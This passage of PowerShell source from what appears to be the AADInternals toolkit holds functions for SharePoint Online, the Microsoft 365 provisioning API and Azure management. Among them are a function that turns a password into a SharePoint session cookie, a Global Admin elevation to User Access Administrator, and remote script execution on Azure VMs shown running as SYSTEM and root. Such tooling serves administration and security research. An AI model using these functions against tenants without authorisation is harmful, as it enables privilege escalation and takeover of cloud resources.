<ObjectPaths>
<StaticProperty Id="1" TypeId="{3747adcd-a3c3-41b9-bfab-4a64dd2f1e0a}" Name="Current"/>
<Property Id="3" ParentId="1" Name="Site"/>
</ObjectPaths>
</Request>
"@
# Invoke ProcessQuery to get container info
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body -Digest $digest
$content = ($response.content | ConvertFrom-Json)
$retVal = $content[$content.Count-1]
# Parse the encryption key
$retVal.EncryptionKey = $retVal.EncryptionKey.Split("(")[1].Split(")")[0]
# Body for migration queue
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="2" ObjectPathId="1"/>
<ObjectPath Id="4" ObjectPathId="3"/>
<Method Name="ProvisionMigrationQueue" Id="5" ObjectPathId="3"/>
</Actions>
<ObjectPaths>
<StaticProperty Id="1" TypeId="{3747adcd-a3c3-41b9-bfab-4a64dd2f1e0a}" Name="Current"/>
<Property Id="3" ParentId="1" Name="Site"/>
</ObjectPaths>
</Request>
"@
# Invoke ProcessQuery to get migration queue info
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body -Digest $digest
$content = ($response.content | ConvertFrom-Json)
$retVal | Add-Member -NotePropertyName "JobQueueUri" -NotePropertyValue $content[$content.Count-1].JobQueueUri.Replace(":443","")
# Return
return $retVal
}
}
# Get migration user loginname
# Nov 23rd 2022
function Get-SPOMigrationUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[string]$Cookie,
[Parameter(Mandatory=$False)]
[string]$AccessToken,
[Parameter(Mandatory=$True)]
[string]$Site,
[Parameter(Mandatory=$True)]
[string]$UserName
)
Process
{
$Body=@"
<Request AddExpandoFieldTypeSuffix="true" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName=".NET Library" xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009">
<Actions>
<ObjectPath Id="2" ObjectPathId="1"/>
<ObjectPath Id="4" ObjectPathId="3"/>
<ObjectPath Id="6" ObjectPathId="5"/>
<Query Id="7" ObjectPathId="5">
<Query SelectAllProperties="true">
<Properties/>
</Query>
</Query>
</Actions>
<ObjectPaths>
<StaticProperty Id="1" TypeId="{3747adcd-a3c3-41b9-bfab-4a64dd2f1e0a}" Name="Current"/>
<Property Id="3" ParentId="1" Name="Web"/>
<Method Id="5" ParentId="3" Name="EnsureUser">
<Parameters>
<Parameter Type="String">$UserName</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
"@
# Invoke ProcessQuery
try
{
$response = Invoke-ProcessQuery -Cookie $Cookie -AccessToken $AccessToken -Site $site -Body $Body
$content = ($response.content | ConvertFrom-Json)
$details = $content[$content.Count -1]
$retVal = [PSCustomObject]@{
"LoginName" = $details.LoginName
"Title" = $details.Title
"IsSiteAdmin" = $details.IsSiteAdmin
"NameId" = $details.UserId.NameId
"ObjectIdentity" = $details._ObjectIdentity_
"Email" = $details.Email
"UserPrincipalName" = $details.UserPrincipalName
}
}
catch
{
$retVal = [PSCustomObject]@{
"LoginName" = $UserName
"Title" = ""
"IsSiteAdmin" = $true
"NameId" = $null
"ObjectIdentity" = ""
"Email" = ""
"UserPrincipalName" = ""
}
}
# NameId is null for guest users
if([string]::IsNullOrEmpty($retVal.NameId))
{
$retVal.NameId = "0"
}
return $retVal
}
}
# Gets SPOIDCRL authentication cookie for SPO web interface
# Supports only username and password! (and legacy BPOSIDCRL)
# Mar 3rd 2023
function Get-SPOIDCRL
{
<#
.SYNOPSIS
Gets SPOIDCRL authentication header for SharePoint Online
.DESCRIPTION
Gets SharePoint Identity Client Runtime librafy (SPOIDCRL) authentication header for SharePoint Online,
which is used for certain SPO APIs, such as /_vti_bin/webpartpages.asmx
.Parameter Site
Url of the SharePoint Online site (domain part will do)
.Parameter UserName
User's name
.Parameter Password
User's password
.Parameter Credential
User's credentials in PSCredential object
.Parameter BPOSIDCRL
User's BPOSIDCRL cookie
.Example
PS C:\>$cred = Get-Credential
PS C:\>Get-AADIntSPOIDCRL -Site "https://company.sharepoint.com/" -Credentials $cred
77u/PD94bWwgdmVyc2l[redacted]nM2RTJQUFpKSVZXSElKNDgvaTNFVHp4NVlpemdVT2lSUDdQL0JCV1k1NVhHQT09PC9TUD4=
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Site,
[Parameter(ParameterSetName='Credentials',Mandatory=$True)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(ParameterSetName='UserNameAndPassword',Mandatory=$True)]
[String]$UserName,
[Parameter(ParameterSetName='UserNameAndPassword',Mandatory=$False)]
[String]$Password,
[Parameter(ParameterSetName='BPOSIDCRL',Mandatory=$True)]
[String]$BPOSIDCRL
)
Process
{
$siteDomain=$Site.Split("/")[2]
# Did we got BPOSIDCRL token?
if([string]::IsNullOrEmpty($BPOSIDCRL))
{
# We didn't. How about user name?
If([String]::IsNullOrEmpty($UserName))
{
# Nope, so parse from credential object
$UserName = $Credentials.UserName
$Password = $Credentials.GetNetworkCredential().password
}
# Get the BPOSIDCRL token
$BPOSIDCRL = Get-RSTToken -Url "https://login.microsoftonline.com/RST2.srf" -EndpointAddress "sharepoint.com" -UserName $UserName -Password $Password
}
$headers=@{
"Authorization" = "BPOSIDCRL $BPOSIDCRL"
}
# Get the SPOIDCRL cookie
$response = Invoke-WebRequest2 -uri "https://$siteDomain/_vti_bin/idcrl.svc/" -Headers $headers
$cookies = $response.Headers.'Set-Cookie'.Split(";")
$SPOIDCRL = $cookies[0].Substring(9)
# Return
return $SPOIDCRL
}
} |
ProvisioningAPI_utils.ps1 | AADInternals-0.9.4 | # This script contains utility functions for provisioning API at https://provisioning.microsoftonline.com
# Office 365 / Azure AD v1, a.k.a. MSOnline module uses this API
# Azure AD Roles
$AADRoles=@{
"Helpdesk Administrator"= "729827e3-9c14-49f7-bb1b-9608f156bbb8"
"Service Support Administrator"= "f023fd81-a637-4b56-95fd-791ac0226033"
"Billing Administrator"= "b0f54661-2d74-4c50-afa3-1ec803f12efe"
"Partner Tier1 Support"= "4ba39ca4-527c-499a-b93d-d9b492c50246"
"Partner Tier2 Support"= "e00e864a-17c5-4a4b-9c06-f5b95a8d5bd8"
"Directory Readers"= "88d8e3e3-8f55-4a1e-953a-9b9898b8876b"
"Exchange Service Administrator"= "29232cdf-9323-42fd-ade2-1d097af3e4de"
"Lync Service Administrator"= "75941009-915a-4869-abe7-691bff18279e"
"User Account Administrator"= "fe930be7-5e62-47db-91af-98c3a49a38b1"
"Directory Writers"= "9360feb5-f418-4baa-8175-e2a00bac4301"
"Company Administrator"= "62e90394-69f5-4237-9190-012177145e10"
"SharePoint Service Administrator"= "f28a1f50-f6e7-4571-818b-6a12f2af6b6c"
"Device Users"= "d405c6df-0af8-4e3b-95e4-4d06e542189e"
"Device Administrators"= "9f06204d-73c1-4d4c-880a-6edb90606fd8"
"Device Join"= "9c094953-4995-41c8-84c8-3ebb9b32c93f"
"Workplace Device Join"= "c34f683f-4d5a-4403-affd-6615e00e3a7f"
"Compliance Administrator"= "17315797-102d-40b4-93e0-432062caca18"
"Directory Synchronization Accounts"= "d29b2b05-8046-44ba-8758-1e26182fcf32"
"Device Managers"= "2b499bcd-da44-4968-8aec-78e1674fa64d"
"Application Administrator"= "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3"
"Application Developer"= "cf1c38e5-3621-4004-a7cb-879624dced7c"
"Security Reader"= "5d6b6bb7-de71-4623-b4af-96380a352509"
"Security Administrator"= "194ae4cb-b126-40b2-bd5b-6091b380977d"
"Privileged Role Administrator"= "e8611ab8-c189-46e8-94e1-60213ab1f814"
"Intune Service Administrator"= "3a2c62db-5318-420d-8d74-23affee5d9d5"
"Cloud Application Administrator"= "158c047a-c907-4556-b7ef-446551a6b5f7"
"Customer LockBox Access Approver"= "5c4f9dcd-47dc-4cf7-8c9a-9e4207cbfc91"
"CRM Service Administrator"= "44367163-eba1-44c3-98af-f5787879f96a"
"Power BI Service Administrator"= "a9ea8996-122f-4c74-9520-8edcd192826c"
"Guest Inviter"= "95e79109-95c0-4d8e-aee3-d01accf2d47b"
"Conditional Access Administrator"= "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9"
"Reports Reader"= "4a5d8f65-41da-4de4-8968-e035b65339cf"
"Message Center Reader"= "790c1fb9-7f7d-4f88-86a1-ef1f95c05c1b"
"Information Protection Administrator"= "7495fdc4-34c4-4d15-a289-98788ce399fd"
"License Administrator"= "4d6ac14f-3453-41d0-bef9-a3e0c569773a"
"Cloud Device Administrator"= "7698a772-787b-4ac8-901f-60d6b08affd2"
"Teams Communications Administrator"= "baf37b3a-610e-45da-9e62-d9d1e5e8914b"
"Teams Communications Support Engineer"= "f70938a0-fc10-4177-9e90-2178f8765737"
"Teams Communications Support Specialist"= "fcf91098-03e3-41a9-b5ba-6f0ec8188a12"
"Teams Service Administrator"= "69091246-20e8-4a56-aa4d-066075b2a7a8"
"Guest User"= "10dae51f-b6af-4016-8d66-8c2a99b929b3"
}
# Boolean to string
function b2s
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[bool]$Bool
)
Process
{
$Bool.ToString().ToLower()
}
}
# Create SOAP envelope
function Create-Envelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$RequestElements,
[Parameter(Mandatory=$False)]
[String]$TenantId
)
Process
{
# Create the envelope
$message_id=(New-Guid).ToString()
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://provisioning.microsoftonline.com/IProvisioningWebService/$Command</a:Action>
<a:MessageID>urn:uuid:$message_id</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<UserIdentityHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<BearerToken xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Bearer $AccessToken</BearerToken>
<LiveToken i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService"/>
</UserIdentityHeader>
<ClientVersionHeader xmlns="http://provisioning.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<ClientId xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">50afce61-c917-435b-8c6d-60aa5a8b8aa7</ClientId>
<Version xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">1.2.183.81</Version>
</ClientVersionHeader>
<ContractVersionHeader xmlns="http://becwebservice.microsoftonline.com/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<BecVersion xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService">Version47</BecVersion>
</ContractVersionHeader>
<a:To s:mustUnderstand="1">https://provisioningapi.microsoftonline.com/provisioningwebservice.svc</a:To>
</s:Header>
<s:Body>
<$Command xmlns="http://provisioning.microsoftonline.com/">
<request xmlns:b="http://schemas.datacontract.org/2004/07/Microsoft.Online.Administration.WebService" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<b:BecVersion>Version16</b:BecVersion>
$(Add-BElement -Parameter "TenantId" -Value $TenantId)
<b:VerifiedDomain i:nil="true"/>
$RequestElements
</request>
</$Command>
</s:Body>
</s:Envelope>
"@
# Debug
Write-Debug "ENVELOPE ($Command): $envelope"
# Return
return $envelope
}
}
# Calls the provisioning SOAP API
function Call-ProvisioningAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Envelope
)
Process
{
# Call the API
Invoke-RestMethod -UseBasicParsing -Uri "https://provisioningapi.microsoftonline.com/provisioningwebservice.svc" -ContentType "application/soap+xml" -Method POST -Body $envelope
}
}
# Parses the response object(s) from SOAP message
function Parse-SOAPResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$Response
)
Process
{
# Check if empty
if(![string]::IsNullOrEmpty($Response))
{
# All good, try to parse the response object
$results=(Select-Xml -Xml $response -XPath "//*[local-name()='$($Command+"Result")']").Node
# Check if we got response
if([string]::IsNullOrEmpty($results))
{
# Got error
throw $Response.Envelope.Body.Fault.Reason.Text.'#text'
}
# Sometimes response message is empty
if($results.ReturnValue -ne $null)
{
(Remove-XMLNameSpace $results.ReturnValue).ReturnValue
}
else
{
return ""
}
}
else
{
# Empty, so throw an exception
throw "Null or empty Response"
}
}
}
# Remove namespace from xml doc
function Remove-XMLNameSpace
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$xmlDoc
)
Process
{
$xml=[System.Xml.Linq.XDocument]::Parse($xmlDoc.OuterXml)
$remove=@()
foreach ($XE in $xml.Descendants())
{
if($XE.Name.LocalName.Length -eq 1)
{
# Remove "c" etc. tags
$remove+=$XE
}
else
{
# Strip the namespace and attributes
$XE.Name = $XE.Name.LocalName
$XE.RemoveAttributes()
}
}
foreach($XE in $remove)
{
$XE.Remove()
}
return [xml]$xml.ToString()
}
}
# Parses the given ServiceInformation object from Get-CompanyInformation and returns as hashtable
# Aug 11th 2018
function Parse-ServiceInformation
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlElement]$ServiceInformation
)
Process
{
# Set the return hastable
$retVal=@{}
# Loop through service information elements. There might be even more than these here.
foreach($service in $ServiceInformation.ServiceInformation)
{
$settings=$null
$instance = $service.ServiceInstance
$instance_name=$instance.Split("/")[0]
if($instance_name -ceq "sharepoint")
{
$settings=$service.ServiceElements.XElement.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ceq "SharePoint")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
#$service.ServiceElements.XElement.ServiceExtension.DNSRecords.DNSRecord
}
elseif($instance_name -eq "RMSOnline")
{
$settings=$service.ServiceElements.XElement.RmsCompanyServiceInfo.ServiceLocations.ServiceLocation
}
elseif($instance_name -eq "SCO")
{
$settings=$service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter
$name = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Name
$value = $service.ServiceElements.XElement.WindowsIntuneServiceInfo.ServiceParameters.ServiceParameter.Value
if($name -ne $null)
{
$settings=@{$name = $value}
}
}
elseif($instance_name -ieq "YammerEnterprise")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "ProjectWorkManagement")
{
$settings=$service.ServiceElements.XElement.Topology
}
elseif($instance_name -ieq "Netbreeze")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "DynamicsMarketing")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
elseif($instance_name -ieq "CRM")
{
$settings=$service.ServiceElements.XElement.ServiceExtension.ServiceParameters.ServiceParameter
}
$retVal[$instance]=$settings
}
$retval
}
}
# Get Sku and service name from SKU array
# Aug 12th 2018
function Get-SkuAndServiceName
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[psobject[]]$SKUs,
[Parameter(Mandatory=$True)]
[string]$ServicePlanId
)
Process
{
$attributes=@{}
foreach($sku in $SKUs)
{
$attributes["SkuName"]=$sku.SkuPartNumber
foreach($service in $sku.ServiceStatus)
{
if($service.ServicePlanId -eq $ServicePlanId)
{
$attributes["ServiceName"]=$service.ServiceName
$attributes["ServiceType"]=$service.ServiceType
$attributes["ProvisioningStatus"]=$service.ProvisioningStatus
return New-Object psobject -Property $attributes
}
}
}
# No matching SKU found so return $null
$null
}
}
# Creates a <namespace:parameter> -element
function Add-Element
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$NameSpace,
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
if(![string]::IsNullOrEmpty($NameSpace))
{
$Parameter="$NameSpace`:$Parameter"
}
if([string]::IsNullOrEmpty($Value))
{
$element="<$Parameter i:nil=`"true`"/>"
}
else
{
if($Value -is [Boolean])
{
$Value=b2s -Bool $Value
}
$element="<$Parameter>$Value</$Parameter>"
}
$element
}
}
# Creates a <b:parameter> -element
function Add-BElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "b" -Parameter $Parameter -Value $Value
}
}
# Creates a <c:parameter> -element
function Add-CElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "c" -Parameter $Parameter -Value $Value
}
}
# Creates a <d:parameter> -element
function Add-DElement
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Parameter,
[Parameter(Mandatory=$False)]
$Value
)
Process
{
Add-Element -NameSpace "d" -Parameter $Parameter -Value $Value
}
}
# Converts xml to PSObject
function ConvertXmlTo-PSObject
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[System.Xml.XmlLinkedNode]$xml
)
Begin
{
$XMLProperties=@(
"InnerText"
"InnerXml"
"OuterXml"
"BaseURI"
"Prefix"
"NamespaceURI"
"Name"
"LocalName"
"Value"
"IsEmpty"
"HasAttributes"
"HasChildNodes"
"IsReadOnly"
"ChildNodes"
)
}
Process
{
$attributes=[ordered]@{}
foreach($property in $xml.PSObject.Properties)
{
if(!$XMLProperties.Contains($property.Name))
{
switch($property.TypeNameOfValue)
{
"System.String"
{
$attributes[$property.Name] = $property.Value
break
}
"System.Boolean"
{
$attributes[$property.Name] = $property.Value
break
}
"System.Object[]"
{
$values=@()
foreach($value in $property.Value)
{
$values += $value
}
$attributes[$property.Name] = $values
break
}
"System.Xml.XmlElement"
{
$values = ConvertXmlTo-PSObject -xml $property.Value
$attributes[$property.Name] = $values.PSObject.Properties.Value
break
}
"System.Xml.XmlNodeList"
{
$attributes[$property.Name] = $property.Value
break
}
}
}
}
return New-Object psobject -Property $attributes
}
}
|
AzureCoreManagement.ps1 | AADInternals-0.9.4 | # This script contains functions for Azure Core Management API
# Return the classic administrators of the given subscription
# May 30th 2020
function Get-AzureClassicAdministrators
{
<#
.SYNOPSIS
Returns classic administrators of the given Azure subscription
.DESCRIPTION
Returns classic administrators of the given Azure subscription
.Example
Get-AADIntAzureClassicAdministrators -Subscription "4f9fe2bc-71b3-429f-8a63-5957f1582144"
emailAddress role
------------ ----
[email protected] ServiceAdministrator;AccountAdministrator
[email protected] CoAdministrator
.Example
C:\PS>Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
C:\PS>Get-AADIntAzureClassicAdministrators -Subscription "4f9fe2bc-71b3-429f-8a63-5957f1582144"
emailAddress role
------------ ----
[email protected] ServiceAdministrator;AccountAdministrator
[email protected] CoAdministrator
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Subscription
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response=Invoke-RestMethod -UseBasicParsing -Method get -Uri "https://management.azure.com/subscriptions/$Subscription/providers/Microsoft.Authorization/classicAdministrators?api-version=2015-06-01" -Headers $headers
# Return
$response.value.properties
}
}
# Elevates the current Global Admin to Azure User Access Administrator
# May 30th 2020
function Grant-AzureUserAccessAdminRole
{
<#
.SYNOPSIS
Elevates the current authenticated Global Admin to Azure User Access Administrator
.DESCRIPTION
Elevates the current authenticated Global Admin to Azure User Access Administrator.
This allows the admin for instance to manage all role assignments in all subscriptions of the tenant.
.Example
Grant-AADIntAzureUserAccessAdminRole
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
C:\PS>Grant-AADIntAzureUserAccessAdminRole -AccessToken $at
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command. Returns 200 OK if successfull
Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2015-07-01" -Headers $headers
}
}
# Lists user's Subscriptions
# Jun 2nd 2020
function Get-AzureSubscriptions
{
<#
.SYNOPSIS
Lists the user's Azure subscriptions
.DESCRIPTION
Lists the user's Azure subscriptions
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
C:\PS>Get-AADIntAzureSubscriptions -AccessToken $at
subscriptionId displayName state
-------------- ----------- -----
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
99fccfb9-ed41-4179-aaf5-93cae2151a77 Pay-as-you-go Enabled
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command. Returns 200 OK if successfull
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/subscriptions?api-version=2016-06-01" -Headers $headers
# Return
foreach($value in $response.value)
{
$value | Select subscriptionId,displayName,state
}
}
}
# Lists azure subscription resource groups
# Jun 2nd 2020
function Get-AzureResourceGroups
{
<#
.SYNOPSIS
Lists Azure subscription ResourceGroups
.DESCRIPTION
Lists Azure subscription ResourceGroups
.Example
Get-AADIntAzureResourceGroups -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
name location tags
---- -------- ----
Production westus Production
Test eastus Test
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
C:\PS>Get-AADIntAzureSubscriptions -AccessToken $at
subscriptionId displayName state
-------------- ----------- -----
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
C:\PS>Get-AADIntAzureResourceGroups -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
name location tags
---- -------- ----
Production westus Production
Test eastus Test
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command.
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/subscriptions/$SubscriptionId/resourcegroups?api-version=2019-10-01" -Headers $headers
# Return
foreach($value in $response.value)
{
$value | Select name,location,tags
}
}
}
# Lists azure subscription VMs
# Jun 2nd 2020
function Get-AzureVMs
{
<#
.SYNOPSIS
Lists Azure subscription VMs
.DESCRIPTION
Lists Azure subscription VMs and shows information including server name, VM OS and size, and admin user name.
.Example
Get-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
resourceGroup name location id computerName adminUserName vmSize OS
------------- ---- -------- -- ------------ ------------- ------ --
PRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2 Windows
PRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v2 Windows
PRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v2 Windows
PRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v2 Windows
TEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v2 Windows
TEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms Linux
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
C:\PS>Get-AADIntAzureSubscriptions -AccessToken $at
subscriptionId displayName state
-------------- ----------- -----
867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled
C:\PS>Get-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
resourceGroup name location id computerName adminUserName vmSize OS
------------- ---- -------- -- ------------ ------------- ------ --
PRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2 Windows
PRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v2 Windows
PRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v2 Windows
PRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v2 Windows
TEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v2 Windows
TEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms Linux
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/subscriptions/$SubscriptionId/providers/Microsoft.Compute/virtualMachines?api-version=2019-12-01" -Headers $headers
# Return
foreach($value in $response.value)
{
$attributes=[ordered]@{
ResourceGroup = $value.id.split("/")[4]
Name = $value.name
Location = $value.location
Id = $value.properties.vmId
#license = $value.properties.licenseType
ComputerName= $value.properties.osProfile.computerName
AdminUserName= $value.properties.osProfile.adminUserName
VMSize = $value.properties.hardwareProfile.vmSize
OS = ""
}
if($value.properties.osProfile.WindowsConfiguration)
{
$attributes["OS"] = "Windows"
}
if($value.properties.osProfile.linuxConfiguration)
{
$attributes["OS"] = "Linux"
}
New-Object psobject -Property $attributes
}
}
}
# Runs a given script on the given Azure VM
# Jun 2nd 2020
function Invoke-AzureVMScript
{
<#
.SYNOPSIS
Runs a given script on the given Azure VM
.DESCRIPTION
Runs a given script on the given Azure VM and prints out the response. Note! Returns only ascii, so any non-ascii character is not shown correctly.
Multi-line scripts are supported. Use `n as a line separator.
.Example
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server2 -Script "whoami"
[stdout]
nt authority\system
[stderr]
.Example
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server2 -Script "whoami`nGet-Process 123123123"
[stdout]
nt authority\system
[stderr]
Get-Process : Cannot find a process with the name "123123123". Verify the process name and call the cmdlet again.
At C:\Packages\Plugins\Microsoft.CPlat.Core.RunCommandWindows\1.1.5\Downloads\script42.ps1:2 char:1
+ Get-Process 123123123
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (123123123:String) [Get-Process], ProcessCommandException
+ FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.GetProcessCommand
.Example
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup TEST -Server Server3 -Script "whoami" -VMType Linux
Enable succeeded:
[stdout]
root
[stderr]
.Example
Invoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2 -Script "Get-Process"
[stdout]
727 36 14132 27092 5.94 396 0 svchost
936 29 69796 76820 7.91 400 0 svchost
664 22 15664 27432 39.39 464 0 svchost
839 23 6856 24352 0.91 792 0 svchost
785 17 4792 10968 4.75 892 0 svchost
282 13 3020 9324 7.41 1052 0 svchost
1889 96 38548 72480 24.86 1216 0 svchost
642 35 8928 28452 0.50 1236 0 svchost
519 24 19480 37620 4.08 1376 0 svchost
411 17 15440 18076 29.81 1392 0 svchost
833 41 10676 25512 2.02 1424 0 svchost
317 11 2000 8840 0.08 1432 0 svchost
380 31 7324 16320 0.39 1584 0 svchost
211 12 1876 7524 0.22 1808 0 svchost
199 9 1596 6916 0.00 1968 0 svchost
200 10 2308 8344 0.06 2188 0 svchost
146 8 1472 7144 0.06 3000 0 svchost
